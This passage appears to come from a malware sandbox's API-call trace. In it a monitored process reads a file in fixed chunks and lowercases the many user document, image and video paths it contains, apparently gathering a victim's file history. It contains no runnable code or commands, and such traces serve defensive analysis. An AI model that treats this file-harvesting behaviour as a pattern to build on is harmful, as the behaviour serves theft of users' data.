MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/altyeuz8ke/wovpfsxpf7ltov.xlsx") returned 100 [0069.007] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.007] SetFilePointer (in: hFile=0xc4, lDistanceToMove=37120, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9100 [0069.007] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.007] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/XoRtIuBcm%209dtD-.xlsx" | out: _Str="file:///c:/users/aetadzjz/documents/xortiubcm%209dtd-.xlsx") returned="file:///c:/users/aetadzjz/documents/xortiubcm%209dtd-.xlsx" [0069.007] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/xortiubcm%209dtd-.xlsx") returned 59 [0069.007] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.007] SetFilePointer (in: hFile=0xc4, lDistanceToMove=37376, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9200 [0069.007] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.007] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/PwXinMYwAv8jNb-pAhWa/E57Dc0/jGO-nkT.pptx" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/jgo-nkt.pptx") returned="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/jgo-nkt.pptx" [0069.007] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/jgo-nkt.pptx") returned 83 [0069.007] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.007] SetFilePointer (in: hFile=0xc4, lDistanceToMove=37632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9300 [0069.007] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.007] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/PwXinMYwAv8jNb-pAhWa/E57Dc0/Mx7WX4E_2m.ods" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/mx7wx4e_2m.ods") returned="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/mx7wx4e_2m.ods" [0069.007] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/mx7wx4e_2m.ods") returned 85 [0069.007] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.008] SetFilePointer (in: hFile=0xc4, lDistanceToMove=37888, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9400 [0069.008] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.008] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/FQiUCeN.pptx" | out: _Str="file:///c:/users/aetadzjz/documents/fqiucen.pptx") returned="file:///c:/users/aetadzjz/documents/fqiucen.pptx" [0069.008] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/fqiucen.pptx") returned 49 [0069.008] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.008] SetFilePointer (in: hFile=0xc4, lDistanceToMove=38144, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9500 [0069.008] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.008] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/j7VqvazuU4/1jX4GuS1oH/CJL4gO0q/uSY6MrDrok9XbJ.jpg" | out: _Str="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/usy6mrdrok9xbj.jpg") returned="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/usy6mrdrok9xbj.jpg" [0069.008] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/usy6mrdrok9xbj.jpg") returned 85 [0069.008] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.008] SetFilePointer (in: hFile=0xc4, lDistanceToMove=38400, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9600 [0069.008] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.008] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/1af7s2.pdf" | out: _Str="file:///c:/users/aetadzjz/documents/1af7s2.pdf") returned="file:///c:/users/aetadzjz/documents/1af7s2.pdf" [0069.008] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/1af7s2.pdf") returned 47 [0069.008] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.008] SetFilePointer (in: hFile=0xc4, lDistanceToMove=38656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9700 [0069.008] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.008] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Videos/p-Dos46ITrNAxv/YREQRF_sG4Jx5EDKVVL/7gOt.flv" | out: _Str="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/7got.flv") returned="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/7got.flv" [0069.008] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/7got.flv") returned 77 [0069.008] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.008] SetFilePointer (in: hFile=0xc4, lDistanceToMove=38912, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9800 [0069.008] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.008] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/Fl_cD2j6qBLGAZWA2SQL.odp" | out: _Str="file:///c:/users/aetadzjz/desktop/fl_cd2j6qblgazwa2sql.odp") returned="file:///c:/users/aetadzjz/desktop/fl_cd2j6qblgazwa2sql.odp" [0069.008] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/fl_cd2j6qblgazwa2sql.odp") returned 59 [0069.009] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.009] SetFilePointer (in: hFile=0xc4, lDistanceToMove=39168, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9900 [0069.009] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.009] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/j7VqvazuU4/wF26TYFkwvqF2By4BhD.gif" | out: _Str="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/wf26tyfkwvqf2by4bhd.gif") returned="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/wf26tyfkwvqf2by4bhd.gif" [0069.009] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/wf26tyfkwvqf2by4bhd.gif") returned 70 [0069.009] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.051] SetFilePointer (in: hFile=0xc4, lDistanceToMove=39424, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9a00 [0069.051] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.051] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Videos/p-Dos46ITrNAxv/l3CI-wr-j02jEFP8%20k75/nZix0SllaB7KoS.flv" | out: _Str="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/nzix0sllab7kos.flv") returned="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/nzix0sllab7kos.flv" [0069.051] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/nzix0sllab7kos.flv") returned 90 [0069.051] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.051] SetFilePointer (in: hFile=0xc4, lDistanceToMove=39680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9b00 [0069.052] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.052] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/0Mck7qEx.odt" | out: _Str="file:///c:/users/aetadzjz/desktop/0mck7qex.odt") returned="file:///c:/users/aetadzjz/desktop/0mck7qex.odt" [0069.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/0mck7qex.odt") returned 47 [0069.052] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.052] SetFilePointer (in: hFile=0xc4, lDistanceToMove=39936, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9c00 [0069.052] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.052] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/kjO%20Dw4y7j6PSDs.pptx" | out: _Str="file:///c:/users/aetadzjz/documents/kjo%20dw4y7j6psds.pptx") returned="file:///c:/users/aetadzjz/documents/kjo%20dw4y7j6psds.pptx" [0069.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/kjo%20dw4y7j6psds.pptx") returned 59 [0069.052] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.052] SetFilePointer (in: hFile=0xc4, lDistanceToMove=40192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9d00 [0069.052] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.052] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/j7VqvazuU4/1jX4GuS1oH/CJL4gO0q/f7XU9f0SBJ9qZlFH/yPjL%20kQD7ou.gif" | out: _Str="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/f7xu9f0sbj9qzlfh/ypjl%20kqd7ou.gif") returned="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/f7xu9f0sbj9qzlfh/ypjl%20kqd7ou.gif" [0069.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/f7xu9f0sbj9qzlfh/ypjl%20kqd7ou.gif") returned 101 [0069.052] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.052] SetFilePointer (in: hFile=0xc4, lDistanceToMove=40448, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9e00 [0069.052] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.052] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/kiam-z8FT.png" | out: _Str="file:///c:/users/aetadzjz/desktop/kiam-z8ft.png") returned="file:///c:/users/aetadzjz/desktop/kiam-z8ft.png" [0069.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/kiam-z8ft.png") returned 48 [0069.052] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.052] SetFilePointer (in: hFile=0xc4, lDistanceToMove=40704, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9f00 [0069.052] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.052] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/PwXinMYwAv8jNb-pAhWa/4C7rg/AlTyeUZ8kE/-GCiLF6CuoB%20faBa9y.ots" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/altyeuz8ke/-gcilf6cuob%20faba9y.ots") returned="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/altyeuz8ke/-gcilf6cuob%20faba9y.ots" [0069.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/altyeuz8ke/-gcilf6cuob%20faba9y.ots") returned 105 [0069.053] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.053] SetFilePointer (in: hFile=0xc4, lDistanceToMove=40960, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa000 [0069.053] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.053] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/PwXinMYwAv8jNb-pAhWa/LDY-i67whVYLZ/GpXpY.doc" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/gpxpy.doc") returned="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/gpxpy.doc" [0069.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/gpxpy.doc") returned 87 [0069.053] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.053] SetFilePointer (in: hFile=0xc4, lDistanceToMove=41216, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa100 [0069.053] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.053] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/gU8x7JTYUiEeJlLB.docx" | out: _Str="file:///c:/users/aetadzjz/documents/gu8x7jtyuieejllb.docx") returned="file:///c:/users/aetadzjz/documents/gu8x7jtyuieejllb.docx" [0069.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/gu8x7jtyuieejllb.docx") returned 58 [0069.053] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.053] SetFilePointer (in: hFile=0xc4, lDistanceToMove=41472, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa200 [0069.053] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.053] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/Sa--KaU.pptx" | out: _Str="file:///c:/users/aetadzjz/desktop/sa--kau.pptx") returned="file:///c:/users/aetadzjz/desktop/sa--kau.pptx" [0069.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/sa--kau.pptx") returned 47 [0069.053] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.053] SetFilePointer (in: hFile=0xc4, lDistanceToMove=41728, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa300 [0069.053] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.053] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/PwXinMYwAv8jNb-pAhWa/4C7rg/AlTyeUZ8kE/ISGCjtsl.xlsx" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/altyeuz8ke/isgcjtsl.xlsx") returned="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/altyeuz8ke/isgcjtsl.xlsx" [0069.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/altyeuz8ke/isgcjtsl.xlsx") returned 94 [0069.053] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.053] SetFilePointer (in: hFile=0xc4, lDistanceToMove=41984, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa400 [0069.053] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.053] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Videos/p-Dos46ITrNAxv/NHdK1KlIx_X.flv" | out: _Str="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/nhdk1klix_x.flv") returned="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/nhdk1klix_x.flv" [0069.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/nhdk1klix_x.flv") returned 64 [0069.054] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.054] SetFilePointer (in: hFile=0xc4, lDistanceToMove=42240, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa500 [0069.054] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.054] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/uTQTV2mVPN8RQx.ppt" | out: _Str="file:///c:/users/aetadzjz/desktop/utqtv2mvpn8rqx.ppt") returned="file:///c:/users/aetadzjz/desktop/utqtv2mvpn8rqx.ppt" [0069.054] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/utqtv2mvpn8rqx.ppt") returned 53 [0069.054] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.054] SetFilePointer (in: hFile=0xc4, lDistanceToMove=42496, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa600 [0069.054] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.054] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/BtYd0hRgDbLuEUQ.rtf" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/btyd0hrgdblueuq.rtf") returned="file:///c:/users/aetadzjz/appdata/roaming/btyd0hrgdblueuq.rtf" [0069.054] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/btyd0hrgdblueuq.rtf") returned 62 [0069.054] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.054] SetFilePointer (in: hFile=0xc4, lDistanceToMove=42752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa700 [0069.054] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.054] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Videos/p-Dos46ITrNAxv/YREQRF_sG4Jx5EDKVVL/1r1kigcRNnjGvFo_X.flv" | out: _Str="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/1r1kigcrnnjgvfo_x.flv") returned="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/1r1kigcrnnjgvfo_x.flv" [0069.054] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/1r1kigcrnnjgvfo_x.flv") returned 90 [0069.054] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.054] SetFilePointer (in: hFile=0xc4, lDistanceToMove=43008, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa800 [0069.054] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.054] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/PwXinMYwAv8jNb-pAhWa/E57Dc0/Pp66Ey.odp" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/pp66ey.odp") returned="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/pp66ey.odp" [0069.054] 